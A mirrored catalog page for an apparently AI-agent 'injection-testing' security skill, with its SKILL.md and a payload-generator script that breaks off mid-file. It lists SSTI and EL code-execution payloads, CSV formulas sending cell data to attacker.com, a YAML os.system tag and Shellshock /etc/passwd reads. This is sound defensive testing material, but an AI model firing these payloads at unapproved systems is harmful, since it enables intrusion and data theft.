Back to skills
SkillHub ClubShip Full StackFull StackTesting

injection-testing

Validate miscellaneous injection vulnerabilities NOT covered by dedicated skills. Covers SSTI, LDAP, XPath, XQuery, CRLF/HTTP Header, Email Header, GraphQL, Expression Language (EL/OGNL), JSON/JavaScript eval injection, ORM/HQL, CSV/Formula, Regex (ReDoS), YAML config, and Shellshock-style injection. Use when testing CWE-1336 (SSTI), CWE-90 (LDAP), CWE-643 (XPath), CWE-652 (XQuery), CWE-93/CWE-113 (CRLF/Header), CWE-917 (EL), CWE-94/CWE-95 (Code/Eval injection), CWE-1333 (ReDoS), CWE-1236 (CSV/Formula), and related injection classes.

Packaged view

This page reorganizes the original catalog entry around fit, installability, and workflow context first. The original raw source lives below.

Stars
257
Hot score
98
Updated
March 20, 2026
Overall rating
C3.7
Composite score
3.7
Best-practice grade
B73.6

Install command

npx @skill-hub/cli install anshumanbh-securevibes-injection-testing

Repository

anshumanbh/securevibes

Skill path: packages/core/securevibes/skills/dast/injection-testing

Validate miscellaneous injection vulnerabilities NOT covered by dedicated skills. Covers SSTI, LDAP, XPath, XQuery, CRLF/HTTP Header, Email Header, GraphQL, Expression Language (EL/OGNL), JSON/JavaScript eval injection, ORM/HQL, CSV/Formula, Regex (ReDoS), YAML config, and Shellshock-style injection. Use when testing CWE-1336 (SSTI), CWE-90 (LDAP), CWE-643 (XPath), CWE-652 (XQuery), CWE-93/CWE-113 (CRLF/Header), CWE-917 (EL), CWE-94/CWE-95 (Code/Eval injection), CWE-1333 (ReDoS), CWE-1236 (CSV/Formula), and related injection classes.

Open repository

Best for

Primary workflow: Ship Full Stack.

Technical facets: Full Stack, Testing.

Target audience: everyone.

License: Unknown.

Original source

Catalog source: SkillHub Club.

Repository owner: anshumanbh.

This is still a mirrored public skill entry. Review the repository before installing into production workflows.

What it helps with

  • Install injection-testing into Claude Code, Codex CLI, Gemini CLI, or OpenCode workflows
  • Review https://github.com/anshumanbh/securevibes before adding injection-testing to shared team environments
  • Use injection-testing for development workflows

Works across

Claude CodeCodex CLIGemini CLIOpenCode

Favorites: 0.

Sub-skills: 0.

Aggregator: No.

Original source / Raw SKILL.md

---
name: injection-testing
description: Validate miscellaneous injection vulnerabilities NOT covered by dedicated skills. Covers SSTI, LDAP, XPath, XQuery, CRLF/HTTP Header, Email Header, GraphQL, Expression Language (EL/OGNL), JSON/JavaScript eval injection, ORM/HQL, CSV/Formula, Regex (ReDoS), YAML config, and Shellshock-style injection. Use when testing CWE-1336 (SSTI), CWE-90 (LDAP), CWE-643 (XPath), CWE-652 (XQuery), CWE-93/CWE-113 (CRLF/Header), CWE-917 (EL), CWE-94/CWE-95 (Code/Eval injection), CWE-1333 (ReDoS), CWE-1236 (CSV/Formula), and related injection classes.
allowed-tools: Read, Write, Bash
---

# Injection Testing Skill (Miscellaneous)

## Purpose
Validate miscellaneous injection vulnerabilities by sending crafted payloads to user-controlled inputs and observing:
- **Template evaluation** (SSTI)
- **Query manipulation** (LDAP, XPath, XQuery, GraphQL, ORM/HQL)
- **Header manipulation** (CRLF, HTTP Header, Email Header)
- **Expression/code evaluation** (EL, OGNL, Spring EL, JavaScript eval)
- **Resource exhaustion** (ReDoS)
- **Formula execution** (CSV/Spreadsheet injection)
- **Config manipulation** (YAML, Environment variables)

## Scope Note

**This skill covers injection types WITHOUT dedicated skills.**

For the following, use the dedicated skills:
- SQL Injection → `sql-injection-testing`
- NoSQL Injection → `nosql-injection-testing`
- Cross-Site Scripting (XSS) → `xss-testing`
- XML External Entity (XXE) → `xxe-testing`
- OS Command Injection → `command-injection-testing`

## Vulnerability Types Covered

### 1. Server-Side Template Injection - SSTI (CWE-1336)
Inject template expressions that execute on server.

**Detection Methods:**
- **Math evaluation:** `{{7*7}}` returns `49` in response
- **Engine fingerprinting:** Different payloads for Jinja2, Twig, Freemarker, Velocity, Pebble, Thymeleaf

**Common Payloads by Engine:**

| Engine | Detection Payload | RCE Payload Example |
|--------|-------------------|---------------------|
| Jinja2 (Python) | `{{7*7}}` | `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` |
| Twig (PHP) | `{{7*7}}` | `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}` |
| Freemarker (Java) | `${7*7}` | `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}` |
| Velocity (Java) | `#set($x=7*7)$x` | `#set($e="")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime"...` |
| Thymeleaf (Java) | `${7*7}` | `${T(java.lang.Runtime).getRuntime().exec('id')}` |
| Pebble (Java) | `{{7*7}}` | (Limited sandbox escape) |
| Smarty (PHP) | `{7*7}` | `{system('id')}` |
| ERB (Ruby) | `<%= 7*7 %>` | `<%= system('id') %>` |

### 2. LDAP Injection (CWE-90)
Manipulate LDAP queries via special characters.

**Detection Methods:**
- **Wildcard bypass:** `*` returns all entries
- **Filter manipulation:** `)(cn=*)` modifies filter logic
- **Boolean-based:** `)(|(password=*))` vs normal query

**Test Payloads:**
```
*
*)(&
*)(|(&
admin)(|(password=*))
admin)(!(&(1=0
*))%00
```

### 3. XPath Injection (CWE-643)
Manipulate XPath queries in XML-based applications.

**Detection Methods:**
- **Boolean-based:** `' or '1'='1` returns all nodes
- **Error-based:** `'` causes XPath syntax error
- **Union-style:** `' or count(//*)>0 or '1'='1`

**Test Payloads:**
```
' or '1'='1
' or ''='
1 or 1=1
'] | //user/*[contains(*,'
' or count(//*)>0 or '1'='1
```

### 4. XQuery Injection (CWE-652)
Manipulate XQuery expressions in XML databases.

**Detection Methods:**
- Similar to XPath; targets XQuery-capable systems (eXist-db, MarkLogic, BaseX)

**Test Payloads:**
```
' or '1'='1
') or ('1'='1
for $x in doc("users.xml")//user return $x
```

### 5. CRLF / HTTP Header Injection (CWE-93, CWE-113)
Inject carriage return/line feed to manipulate HTTP headers.

**Detection Methods:**
- **Response splitting:** `%0d%0aSet-Cookie:injected=value` adds header
- **Header injection:** `%0d%0aX-Injected:header` appears in response headers
- **Host header poisoning:** Manipulated Host header affects redirects/URLs

**Test Payloads:**
```
%0d%0aInjected-Header:value
%0d%0aSet-Cookie:session=hijacked
%0d%0a%0d%0a<html>Injected Body</html>
\r\nX-Injected:true
```

### 6. Email Header Injection (CWE-93)
Inject headers into email messages via SMTP.

**Detection Methods:**
- **BCC injection:** `[email protected]%0ABcc:[email protected]` adds BCC
- **Subject manipulation:** `%0ASubject:Spoofed` changes subject

**Test Payloads:**
```
[email protected]%0ABcc:[email protected]
[email protected]\r\nBcc:[email protected]
test%0ACc:[email protected]
test\nSubject:INJECTED
```

### 7. Expression Language Injection (CWE-917)
Inject EL expressions in Java-based frameworks (Spring, JSP, OGNL).

**Detection Methods:**
- **Math evaluation:** `${7*7}` or `#{7*7}` returns `49`
- **Object access:** `${applicationScope}` leaks data

**Test Payloads by Framework:**

| Framework | Detection | Notes |
|-----------|-----------|-------|
| Spring EL | `${7*7}`, `#{7*7}` | Double resolution in older versions |
| OGNL (Struts) | `%{7*7}`, `${7*7}` | Many CVEs (Struts2) |
| JSP EL | `${7*7}`, `#{7*7}` | Standard Java EE |
| MVEL | `${7*7}` | Used in some workflow engines |

### 8. JSON/JavaScript Eval Injection (CWE-94, CWE-95)
Inject JavaScript expressions into server-side evaluation contexts (Node.js or embedded JS engines) where user input is passed to `eval()`, `Function()`, `vm.runInNewContext`, or similar.

**Detection Methods:**
- **Math evaluation:** `7*7` returns `49` (computed, not echoed)
- **Built-in evaluation:** `Math.imul(7,7)` returns `49`
- **Structure evaluation:** `['a','b'].length` returns `2`

**Test Payloads (detection-only):**
```text
7*7
Math.imul(7,7)
['a','b'].length
JSON.stringify({a:1})
```

**Safety:** Treat any server-side JavaScript evaluation as high-risk; stop at detection-only payloads.

### 9. GraphQL Injection (CWE-74, CWE-89 variant)
Manipulate GraphQL queries for data exfiltration or DoS.

**Detection Methods:**
- **Introspection abuse:** `{__schema{types{name}}}` reveals schema
- **Batching attacks:** Multiple queries in single request
- **Nested query DoS:** Deep nesting causes resource exhaustion
- **Field suggestion:** Error messages reveal valid fields

**Test Payloads:**
```graphql
{__schema{queryType{name}}}
{__schema{types{name,fields{name}}}}
query{user(id:"1' OR '1'='1"){name}}
{user(id:1){friends{friends{friends{name}}}}}
```

### 10. ORM/HQL Injection (CWE-89 variant, CWE-943)
Inject into ORM queries beyond basic SQL (Hibernate HQL, JPA JPQL, Django ORM).

**Detection Methods:**
- **HQL-specific syntax:** `' and 1=1 --` in Hibernate
- **JPQL injection:** Concatenated JPQL strings
- **Django ORM:** `__` field lookup manipulation

**Test Payloads:**
```
' or 1=1 --
' and substring(username,1,1)='a
admin' AND (SELECT COUNT(*) FROM User)>0 AND '1'='1
```

### 11. CSV/Formula Injection (CWE-1236)
Inject spreadsheet formulas into exported CSV/Excel files.

**Detection Methods:**
- **Formula execution:** `=1+1` or `=cmd|'/C calc'!A0` in exported data
- **DDE injection:** `=IMPORTXML(...)` data exfiltration

**Test Payloads (detection only):**
```
=1+1
=SUM(1,2)
+1+1
-1+1
@SUM(1+1)
=cmd|'/C calc'!A0
=HYPERLINK("http://attacker.com/?data="&A1)
```

**Note:** Test only in isolated environments; formulas can execute on user machines.

### 12. Regex Injection / ReDoS (CWE-1333)
Inject patterns causing catastrophic backtracking in regex engines.

**Detection Methods:**
- **Time-based:** Malicious pattern causes significant delay
- **Resource exhaustion:** CPU spike from nested quantifiers

**Test Payloads:**
```
(a+)+$
((a+)+)+$
(a|a)+$
([a-zA-Z]+)*$
(.*a){x}  (where x is large, e.g., 20)
```

**Target input for (a+)+$:** `aaaaaaaaaaaaaaaaaaaaaaaa!`

### 13. YAML/Config Injection (CWE-502 related)
Inject YAML constructs for config manipulation (non-deserialization scenarios).

**Detection Methods:**
- **Anchor abuse:** `*alias` references in YAML
- **Merge key injection:** `<<:` merges dictionaries
- **Multi-document:** `---` separates documents

**Test Payloads:**
```yaml
key: !!python/object/apply:os.system ['id']
<<: *dangerous_anchor
admin: true
---
override: value
```

### 14. Shellshock/Environment Variable Injection (CWE-78 variant)
Inject into environment variables processed by bash.

**Detection Methods:**
- **Function injection:** `() { :; }; echo VULNERABLE`
- **CGI exploitation:** Via User-Agent, Referer headers to CGI scripts

**Test Payloads:**
```
() { :; }; echo SHELLSHOCK
() { :; }; /bin/sleep 5
() { :;}; /bin/cat /etc/passwd
```

## Prerequisites
- Target application running and reachable
- Identified injection points (parameters, headers, body fields)
- VULNERABILITIES.json with suspected injection findings if provided

## Testing Methodology

### Phase 1: Identify Injection Points

Analyze for potential injection vectors:
- **URL parameters:** Query strings, path segments
- **POST body:** JSON, form data, GraphQL queries
- **HTTP headers:** User-Agent, Referer, X-Forwarded-For, Host, Cookie
- **File exports:** CSV downloads, report generation
- **Email functionality:** Contact forms, notification systems
- **Template rendering:** User-controlled content in pages/emails
- **Search/filter features:** Often use LDAP, XPath, or custom queries

### Phase 2: Establish Baseline
Send normal request and record:
- Response time (for time-based detection)
- Response content/length (for boolean-based detection)
- HTTP status code
- Response headers (for header injection)

### Phase 3: Execute Injection Tests

**SSTI Test:**
```python
payloads = ["{{7*7}}", "${7*7}", "<%= 7*7 %>", "#{7*7}", "{7*7}"]
for payload in payloads:
    resp = get(f"/template?name={quote(payload)}")
    if "49" in resp.text:
        status = "VALIDATED"
        engine = identify_engine(payload)
```

**LDAP Injection Test:**
```python
baseline = get("/search?user=john")
test = get("/search?user=*")
if len(test.text) > len(baseline.text) * 5:
    status = "VALIDATED"  # Wildcard returned all users
```

**CRLF Injection Test:**
```python
payload = "test%0d%0aX-Injected:true"
resp = get(f"/redirect?url={payload}")
if "X-Injected" in resp.headers:
    status = "VALIDATED"
```

**EL Injection Test:**
```python
payloads = ["${7*7}", "#{7*7}", "%{7*7}"]
for payload in payloads:
    resp = get(f"/page?input={quote(payload)}")
    if "49" in resp.text:
        status = "VALIDATED"
```

**ReDoS Test:**
```python
baseline_time = measure("/search?pattern=test")
malicious_pattern = "(a+)+$"
malicious_input = "a" * 30 + "!"
test_time = measure(f"/search?pattern={quote(malicious_pattern)}&input={quote(malicious_input)}")
if test_time > baseline_time + 5:
    status = "VALIDATED"
```

### Phase 4: Classification Logic

| Status | Meaning |
|--------|---------|
| **VALIDATED** | Injection confirmed (eval, data leak, header added, delay) |
| **FALSE_POSITIVE** | Input properly sanitized |
| **PARTIAL** | Some indicators but not definitive |
| **UNVALIDATED** | Blocked, error, or insufficient evidence |

### Phase 5: Capture Evidence

Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):
- `status`, `injection_type`, `cwe`
- Baseline request (url, method, status, response_time)
- Test request (url, method, status, response details)
- Payload used and detected indicator

### Phase 6: Safety Rules
- Detection-only payloads (math evaluation, timing, markers)
- NEVER execute destructive commands via SSTI/EL
- Do not exfiltrate real data
- CSV formula testing only in isolated environments
- Respect rate limits; avoid causing DoS

## Output Guidelines
- Keep responses concise (1-4 sentences)
- Include endpoint, payload, detection method, and impact

**Validated examples:**
```
SSTI (Jinja2) on /greet - {{7*7}} evaluated to 49. RCE possible via template engine.
LDAP injection on /search - wildcard returned 500+ users vs 1. Data exposure risk.
CRLF injection on /redirect - X-Injected header added to response. Response splitting possible.
EL injection on /page - ${7*7} evaluated in Spring EL context. Code execution risk.
GraphQL introspection on /graphql - schema exposed via __schema query. API structure revealed.
```

**Unvalidated example:**
```
SSTI test incomplete on /template - all payloads returned literal text. Evidence: path/to/evidence.json
```

## CWE Mapping
**Primary CWEs (DAST-testable):**
- **CWE-1336:** Improper Neutralization of Special Elements Used in a Template Engine (SSTI)
- **CWE-90:** Improper Neutralization of Special Elements used in an LDAP Query (LDAP Injection)
- **CWE-643:** Improper Neutralization of Data within XPath Expressions (XPath Injection)
- **CWE-652:** Improper Neutralization of Data within XQuery Expressions (XQuery Injection)
- **CWE-93:** Improper Neutralization of CRLF Sequences (CRLF Injection)
- **CWE-113:** Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Response Splitting)
- **CWE-644:** Improper Neutralization of HTTP Headers for Scripting Syntax
- **CWE-917:** Improper Neutralization of Special Elements used in an Expression Language Statement (EL Injection)
- **CWE-1333:** Inefficient Regular Expression Complexity (ReDoS)
- **CWE-1236:** Improper Neutralization of Formula Elements in a CSV File (CSV/Formula Injection)
- **CWE-94:** Improper Control of Generation of Code (Code Injection)
- **CWE-95:** Improper Neutralization of Directives in Dynamically Evaluated Code (Eval Injection)

**Additional CWEs commonly implicated by covered techniques:**
- **CWE-200:** Exposure of Sensitive Information to an Unauthorized Actor (GraphQL introspection / verbose errors)
- **CWE-400:** Uncontrolled Resource Consumption (GraphQL depth/batching and ReDoS impact)
- **CWE-502:** Deserialization of Untrusted Data (unsafe YAML object deserialization)
- **CWE-78:** OS Command Injection (Shellshock-style environment variable injection)
- **CWE-89:** SQL Injection (ORM/HQL and GraphQL arguments reaching SQL sinks)
- **CWE-564:** SQL Injection: Hibernate (HQL/JPQL variants)
- **CWE-943:** Improper Neutralization of Special Elements in Data Query Logic (query-language injection class)

**Related/Parent CWEs:**
- **CWE-74:** Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection - parent)
- **CWE-96:** Improper Neutralization of Directives in Statically Saved Code (Static Code Injection)
- **CWE-97:** Improper Neutralization of Server-Side Includes (SSI Injection)
- **CWE-99:** Improper Control of Resource Identifiers (Resource Injection)
- **CWE-116:** Improper Encoding or Escaping of Output
- **CWE-20:** Improper Input Validation

**Related Attack Patterns:**
- **CAPEC-250:** XML Injection
- **CAPEC-136:** LDAP Injection
- **CAPEC-83:** XPath Injection
- **CAPEC-34:** HTTP Response Splitting
- **CAPEC-105:** HTTP Request Splitting
- **CAPEC-15:** Command Delimiters
- **CAPEC-468:** Generic Cross-Browser Cross-Domain Theft

## Notable CVEs (examples)
- **CVE-2025-66438 (Frappe ERPNext):** SSTI via Print Format rendering (CVSS 9.8).
- **CVE-2023-22527 (Atlassian Confluence):** OGNL injection leading to RCE.
- **CVE-2022-22965 (Spring4Shell):** Spring EL injection via data binding.
- **CVE-2021-44228 (Log4Shell):** JNDI lookup injection (related to EL concepts).
- **CVE-2020-17530 (Apache Struts):** OGNL injection via tag attributes.
- **CVE-2019-11358 (jQuery):** Prototype pollution (related injection pattern).
- **CVE-2017-9805 (Apache Struts):** REST plugin XStream RCE.

## Safety Reminders
- ONLY test against user-approved targets
- Use detection-only payloads (math eval, timing, markers)
- NEVER execute destructive commands via SSTI/EL
- Do not exfiltrate real data
- CSV formula testing only in isolated environments
- Stop if production protections trigger

## Reference Implementations
- See `reference/injection_payloads.py` for payload generators by injection type
- See `reference/validate_injection.py` for injection validation flow
- See `examples.md` for concrete scenarios and evidence formats

### Additional Resources
- [OWASP SSTI Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Template_Injection_Prevention_Cheat_Sheet.html)
- [OWASP LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)
- [PortSwigger SSTI](https://portswigger.net/web-security/server-side-template-injection)
- [HackTricks SSTI](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)


---

## Referenced Files

> The following files are referenced in this skill and included for context.

### reference/injection_payloads.py

```python
"""
Miscellaneous injection payload generators.

This module covers injection types NOT handled by dedicated skills:
- SQL Injection -> sql-injection-testing
- NoSQL Injection -> nosql-injection-testing
- XSS -> xss-testing
- XXE -> xxe-testing
- Command Injection -> command-injection-testing

CWE Coverage: CWE-1336, CWE-90, CWE-643, CWE-652, CWE-93, CWE-113,
              CWE-917, CWE-1333, CWE-1236, CWE-94, CWE-95,
              CWE-200, CWE-400, CWE-502, CWE-78, CWE-89, CWE-943
"""

from typing import Generator


def ssti_payloads() -> Generator[dict, None, None]:
    """
    Server-Side Template Injection payloads.
    CWE-1336: Improper Neutralization in Template Engine.
    """
    payloads = [
        # Detection payloads (math eval)
        {"payload": "{{7*7}}", "engine": "jinja2/twig", "expected": "49"},
        {"payload": "${7*7}", "engine": "freemarker/thymeleaf", "expected": "49"},
        {"payload": "#{7*7}", "engine": "jsp_el/thymeleaf", "expected": "49"},
        {"payload": "<%= 7*7 %>", "engine": "erb", "expected": "49"},
        {"payload": "{7*7}", "engine": "smarty", "expected": "49"},
        {"payload": "#set($x=7*7)$x", "engine": "velocity", "expected": "49"},
        {"payload": "{{7*'7'}}", "engine": "jinja2", "expected": "7777777"},
        {"payload": "${{7*7}}", "engine": "pebble", "expected": "49"},
        # Engine identification
        {"payload": "{{config}}", "engine": "jinja2", "expected": "config object"},
        {"payload": "{{_self.env}}", "engine": "twig", "expected": "env object"},
        {"payload": "${.data_model}", "engine": "freemarker", "expected": "data model"},
    ]
    yield from payloads


def ldap_payloads() -> Generator[dict, None, None]:
    """
    LDAP Injection payloads.
    CWE-90: LDAP Injection.
    """
    payloads = [
        {"payload": "*", "type": "wildcard", "description": "Return all entries"},
        {"payload": "*)(&", "type": "filter_break", "description": "Break filter syntax"},
        {"payload": "*)(|(&", "type": "filter_manipulation", "description": "Inject OR"},
        {"payload": "admin)(|(password=*))", "type": "auth_bypass", "description": "Bypass auth"},
        {"payload": "admin)(!(&(1=0", "type": "not_injection", "description": "NOT operator"},
        {"payload": "*))%00", "type": "null_byte", "description": "Null byte termination"},
        {"payload": ")(cn=*)", "type": "attribute_enum", "description": "Enumerate cn"},
        {"payload": "*)(uid=*))(|(uid=*", "type": "union_style", "description": "Union query"},
    ]
    yield from payloads


def xpath_payloads() -> Generator[dict, None, None]:
    """
    XPath Injection payloads.
    CWE-643: XPath Injection.
    """
    payloads = [
        {"payload": "' or '1'='1", "type": "boolean", "description": "Always true"},
        {"payload": "' or ''='", "type": "boolean", "description": "Empty equals"},
        {"payload": "1 or 1=1", "type": "numeric", "description": "Numeric true"},
        {"payload": "'] | //user/*[contains(*,'", "type": "union", "description": "Union select"},
        {"payload": "' or count(//*)>0 or '1'='1", "type": "count", "description": "Count nodes"},
        {"payload": "'", "type": "error", "description": "Syntax error trigger"},
        {"payload": "1' and '1'='1", "type": "and_true", "description": "AND true"},
        {"payload": "1' and '1'='2", "type": "and_false", "description": "AND false"},
    ]
    yield from payloads


def xquery_payloads() -> Generator[dict, None, None]:
    """
    XQuery Injection payloads.
    CWE-652: XQuery Injection.
    """
    payloads = [
        {"payload": "' or '1'='1", "type": "boolean", "description": "Boolean bypass"},
        {"payload": "') or ('1'='1", "type": "paren_bypass", "description": "Parenthesis bypass"},
        {
            "payload": "for $x in doc('users.xml')//user return $x",
            "type": "flwor",
            "description": "FLWOR injection",
        },
        {"payload": "doc('file:///etc/passwd')", "type": "file_read", "description": "File access"},
    ]
    yield from payloads


def crlf_payloads() -> Generator[dict, None, None]:
    """
    CRLF / HTTP Header Injection payloads.
    CWE-93, CWE-113: CRLF Injection, HTTP Response Splitting.
    """
    payloads = [
        # URL encoded
        {"payload": "%0d%0aX-Injected:true", "encoding": "url", "description": "Header injection"},
        {
            "payload": "%0d%0aSet-Cookie:session=hijacked",
            "encoding": "url",
            "description": "Cookie injection",
        },
        {
            "payload": "%0d%0a%0d%0a<html>Injected</html>",
            "encoding": "url",
            "description": "Body injection",
        },
        {"payload": "%0aX-Injected:true", "encoding": "url_lf", "description": "LF only"},
        {"payload": "%0dX-Injected:true", "encoding": "url_cr", "description": "CR only"},
        # Raw
        {"payload": "\r\nX-Injected:true", "encoding": "raw", "description": "Raw CRLF"},
        {"payload": "\nX-Injected:true", "encoding": "raw_lf", "description": "Raw LF"},
        # Double encoding
        {
            "payload": "%250d%250aX-Injected:true",
            "encoding": "double",
            "description": "Double encoded",
        },
        # Host header
        {"payload": "evil.com", "type": "host_header", "description": "Host header poisoning"},
    ]
    yield from payloads


def email_header_payloads() -> Generator[dict, None, None]:
    """
    Email Header Injection payloads.
    CWE-93: CRLF Injection (in SMTP context).
    """
    payloads = [
        {
            "payload": "[email protected]%0ABcc:[email protected]",
            "type": "bcc",
            "description": "BCC injection",
        },
        {
            "payload": "[email protected]%0ACc:[email protected]",
            "type": "cc",
            "description": "CC injection",
        },
        {
            "payload": "[email protected]\r\nBcc:[email protected]",
            "type": "bcc_raw",
            "description": "Raw BCC",
        },
        {
            "payload": "test%0ASubject:INJECTED",
            "type": "subject",
            "description": "Subject injection",
        },
        {
            "payload": "test\r\nContent-Type:text/html",
            "type": "content_type",
            "description": "Content-Type",
        },
    ]
    yield from payloads


def el_payloads() -> Generator[dict, None, None]:
    """
    Expression Language Injection payloads.
    CWE-917: Expression Language Injection.
    """
    payloads = [
        # Detection (math eval)
        {"payload": "${7*7}", "framework": "generic", "expected": "49"},
        {"payload": "#{7*7}", "framework": "jsp_el", "expected": "49"},
        {"payload": "%{7*7}", "framework": "ognl", "expected": "49"},
        {"payload": "*{7*7}", "framework": "thymeleaf", "expected": "49"},
        # Spring EL
        {"payload": "${applicationScope}", "framework": "spring", "description": "App scope"},
        {
            "payload": "#{T(java.lang.System).getenv()}",
            "framework": "spring",
            "description": "Env vars",
        },
        # OGNL (Struts)
        {"payload": "%{#context}", "framework": "ognl", "description": "Context access"},
        {"payload": "${#_memberAccess}", "framework": "ognl", "description": "Member access"},
        # MVEL
        {
            "payload": "${Runtime.getRuntime()}",
            "framework": "mvel",
            "description": "Runtime access",
        },
    ]
    yield from payloads


def javascript_eval_payloads() -> Generator[dict, None, None]:
    """
    JSON/JavaScript Eval Injection payloads.
    CWE-94, CWE-95: Code/Eval Injection.

    These are detection-only payloads intended to confirm server-side evaluation.
    """
    payloads = [
        {"payload": "7*7", "expected": "49", "description": "Math evaluation"},
        {"payload": "Math.imul(7,7)", "expected": "49", "description": "Built-in math"},
        {"payload": "['a','b'].length", "expected": "2", "description": "Array length"},
        {
            "payload": "JSON.stringify({a:1})",
            "expected": '{"a":1}',
            "description": "JSON stringify",
        },
    ]
    yield from payloads


def graphql_payloads() -> Generator[dict, None, None]:
    """
    GraphQL Injection/Abuse payloads.
    Related to CWE-74 (Injection) and CWE-200 (Information Disclosure).
    """
    payloads = [
        # Introspection
        {
            "query": "{__schema{queryType{name}}}",
            "type": "introspection",
            "description": "Schema query type",
        },
        {
            "query": "{__schema{types{name,fields{name}}}}",
            "type": "introspection",
            "description": "Full schema",
        },
        {
            "query": "{__schema{mutationType{name,fields{name}}}}",
            "type": "introspection",
            "description": "Mutations",
        },
        # Field suggestions
        {
            "query": "{user{passwor}}",
            "type": "field_suggestion",
            "description": "Field suggestion abuse",
        },
        # Nested queries (DoS)
        {
            "query": "{user{friends{friends{friends{name}}}}}",
            "type": "nested_dos",
            "description": "Deep nesting",
        },
        # Batching
        {
            "query": "[{query:user(id:1){name}},{query:user(id:2){name}}]",
            "type": "batching",
            "description": "Batch query",
        },
        # Injection via arguments
        {
            "query": "{user(id:\"1' OR '1'='1\"){name}}",
            "type": "sqli_via_graphql",
            "description": "SQL injection via arg",
        },
    ]
    yield from payloads


def csv_formula_payloads() -> Generator[dict, None, None]:
    """
    CSV/Formula Injection payloads.
    CWE-1236: Improper Neutralization of Formula Elements in CSV.
    """
    payloads = [
        # Detection (safe)
        {"payload": "=1+1", "type": "basic", "description": "Basic formula"},
        {"payload": "=SUM(1,2)", "type": "function", "description": "SUM function"},
        {"payload": "+1+1", "type": "plus_prefix", "description": "Plus prefix"},
        {"payload": "-1+1", "type": "minus_prefix", "description": "Minus prefix"},
        {"payload": "@SUM(1+1)", "type": "at_prefix", "description": "@ prefix"},
        # DDE (detection only - dangerous in real use)
        {"payload": "=cmd|'/C calc'!A0", "type": "dde", "description": "DDE command"},
        # Hyperlink exfil
        {
            "payload": '=HYPERLINK("http://attacker.com/?d="&A1)',
            "type": "exfil",
            "description": "Data exfil",
        },
        # ImportXML
        {
            "payload": '=IMPORTXML("http://attacker.com","//")',
            "type": "import",
            "description": "Import data",
        },
    ]
    yield from payloads


def redos_payloads() -> Generator[dict, None, None]:
    """
    Regex Injection / ReDoS payloads.
    CWE-1333: Inefficient Regular Expression Complexity.
    """
    payloads = [
        # Evil regex patterns
        {"pattern": "(a+)+$", "input": "a" * 25 + "!", "description": "Nested quantifiers"},
        {"pattern": "((a+)+)+$", "input": "a" * 20 + "!", "description": "Double nested"},
        {"pattern": "(a|a)+$", "input": "a" * 25 + "!", "description": "Alternation"},
        {"pattern": "([a-zA-Z]+)*$", "input": "a" * 25 + "1", "description": "Character class"},
        {"pattern": "(.*a){20}", "input": "a" * 20 + "b", "description": "Greedy with count"},
        {"pattern": "^(a+)+$", "input": "a" * 30 + "!", "description": "Anchored nested"},
    ]
    yield from payloads


def orm_hql_payloads() -> Generator[dict, None, None]:
    """
    ORM/HQL Injection payloads (beyond basic SQL).
    Related to CWE-89 and CWE-943.
    """
    payloads = [
        # HQL specific
        {"payload": "' or 1=1 --", "orm": "hibernate", "description": "Basic HQL injection"},
        {
            "payload": "' and substring(password,1,1)='a",
            "orm": "hibernate",
            "description": "Substring extraction",
        },
        {
            "payload": "admin' AND (SELECT COUNT(*) FROM User)>0 AND '1'='1",
            "orm": "hibernate",
            "description": "Subquery",
        },
        # JPA/JPQL
        {"payload": "' OR ''='", "orm": "jpa", "description": "JPQL bypass"},
        # Django ORM
        {"payload": "__contains", "orm": "django", "description": "Field lookup"},
        {"payload": "__regex", "orm": "django", "description": "Regex lookup"},
    ]
    yield from payloads


def yaml_config_payloads() -> Generator[dict, None, None]:
    """
    YAML/Config Injection payloads (non-deserialization).
    Related to CWE-502.
    """
    payloads = [
        # Anchor/alias abuse
        {
            "payload": "admin: &admin true\nrole: *admin",
            "type": "anchor",
            "description": "Anchor reference",
        },
        # Merge key
        {"payload": "<<: *dangerous", "type": "merge", "description": "Merge key injection"},
        # Multi-document
        {
            "payload": "---\noverride: true",
            "type": "multi_doc",
            "description": "Document separator",
        },
        # Type confusion
        {"payload": "value: !!str 123", "type": "type_tag", "description": "Type tag"},
    ]
    yield from payloads


def shellshock_payloads() -> Generator[dict, None, None]:
    """
    Shellshock / Environment Variable Injection payloads.
    CWE-78 variant for CVE-2014-6271.
    """
    payloads = [
        {
            "payload": "() { :; }; echo SHELLSHOCK",
            "type": "basic",
            "description": "Basic Shellshock",
        },
        {"payload": "() { :; }; /bin/sleep 5", "type": "time", "description": "Time-based"},
        {
            "payload": "() { :;}; /bin/cat /etc/passwd",
            "type": "file_read",
            "description": "File read",
        },
        {"payload": "() { :; }; /usr/bin/id", "type": "id", "description": "ID command"},
    ]
    yield from payloads


def get_all_payloads() -> Generator[dict, None, None]:
    """Yield all miscellaneous injection payloads."""
    yield from [{"type": "ssti", **p} for p in ssti_payloads()]
    yield from [{"type": "ldap", **p} for p in ldap_payloads()]
    yield from [{"type": "xpath", **p} for p in xpath_payloads()]
    yield from [{"type": "xquery", **p} for p in xquery_payloads()]
    yield from [{"type": "crlf", **p} for p in crlf_payloads()]
    yield from [{"type": "email_header", **p} for p in email_header_payloads()]
    yield from [{"type": "el", **p} for p in el_payloads()]
    yield from [{"type": "js_eval", **p} for p in javascript_eval_payloads()]
    yield from [{"type": "graphql", **p} for p in graphql_payloads()]
    yield from [{"type": "csv_formula", **p} for p in csv_formula_payloads()]
    yield from [{"type": "redos", **p} for p in redos_payloads()]
    yield from [{"type": "orm_hql", **p} for p in orm_hql_payloads()]
    yield from [{"type": "yaml_config", **p} for p in yaml_config_payloads()]
    yield from [{"type": "shellshock", **p} for p in shellshock_payloads()]


if __name__ == "__main__":
    print("=== Miscellaneous Injection Payloads ===\n")

    print("SSTI Payloads:")
    for i, p in enumerate(list(ssti_payloads())[:5], 1):
        print(f"  {i}. {p['payload']} ({p['engine']})")

    print("\nLDAP Payloads:")
